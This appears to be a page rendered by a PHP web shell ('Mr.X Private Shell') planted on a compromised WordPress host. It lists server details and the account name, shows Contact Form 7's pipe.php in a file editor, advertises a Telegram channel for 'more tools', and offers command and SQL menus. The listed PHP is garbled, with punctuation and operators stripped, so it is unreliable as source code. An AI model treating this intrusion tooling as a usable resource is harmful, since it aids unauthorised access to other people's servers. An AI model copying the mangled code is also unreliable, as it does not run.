Uname: Linux webm005.cluster107.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User: 6036 (villadal)
Group: 100 (users)
Disabled functions: NONE
Safe mode: On[ PHPinfo ]
//home/villadal/www/wp-content/plugins///contact-form-7/includes/      ( Reset | Go to )
File Name: pipe.php
Edit
<?php
/**
 * Pipe-related classes.
 *
 * @link https://contactform7.com/selectable-recipient-with-pipes/
 */


/**
 * Class representing a pair of pipe.
 */
class WPCF7_Pipe {

    public 
$before '';
    public 
$after '';

    public function 
__construct$text ) {
        
$text = (string) $text;

        
$pipe_pos strpos$text'|' );

        if ( 
false === $pipe_pos ) {
            
$this->before $this->after trim$text );
        } else {
            
$this->before trimsubstr$text0$pipe_pos ) );
            
$this->after trimsubstr$text$pipe_pos ) );
        }
    }
}


/**
 * Class representing a list of pipes.
 */
class WPCF7_Pipes {

    private 
$pipes = array();

    public function 
__construct( array $texts ) {
        foreach ( 
$texts as $text ) {
            
$this->add_pipe$text );
        }
    }

    private function 
add_pipe$text ) {
        
$pipe = new WPCF7_Pipe$text );
        
$this->pipes[] = $pipe;
    }

    public function 
do_pipe$input ) {
        
$input_canonical wpcf7_canonicalize$input, array(
            
'strto' => 'as-is',
        ) );

        foreach ( 
$this->pipes as $pipe ) {
            
$before_canonical wpcf7_canonicalize$pipe->before, array(
                
'strto' => 'as-is',
            ) );

            if ( 
$input_canonical === $before_canonical ) {
                return 
$pipe->after;
            }
        }

        return 
$input;
    }

    public function 
collect_befores() {
        
$befores = array();

        foreach ( 
$this->pipes as $pipe ) {
            
$befores[] = $pipe->before;
        }

        return 
$befores;
    }

    public function 
collect_afters() {
        
$afters = array();

        foreach ( 
$this->pipes as $pipe ) {
            
$afters[] = $pipe->after;
        }

        return 
$afters;
    }

    public function 
zero() {
        return empty( 
$this->pipes );
    }

    public function 
random_pipe() {
        if ( 
$this->zero() ) {
            return 
null;
        }

        return 
$this->pipes[array_rand$this->pipes )];
    }

    public function 
to_array() {
        return 
array_map(
            static function ( 
WPCF7_Pipe $pipe ) {
                return array(
                    
$pipe->before,
                    
$pipe->after,
                );
            },
            
$this->pipes
        
);
    }
}

All system for education purposes only. For more tools: Telegram @jackleet

Mr.X Private Shell

Logo
-
New File | New Folder
Command
SQL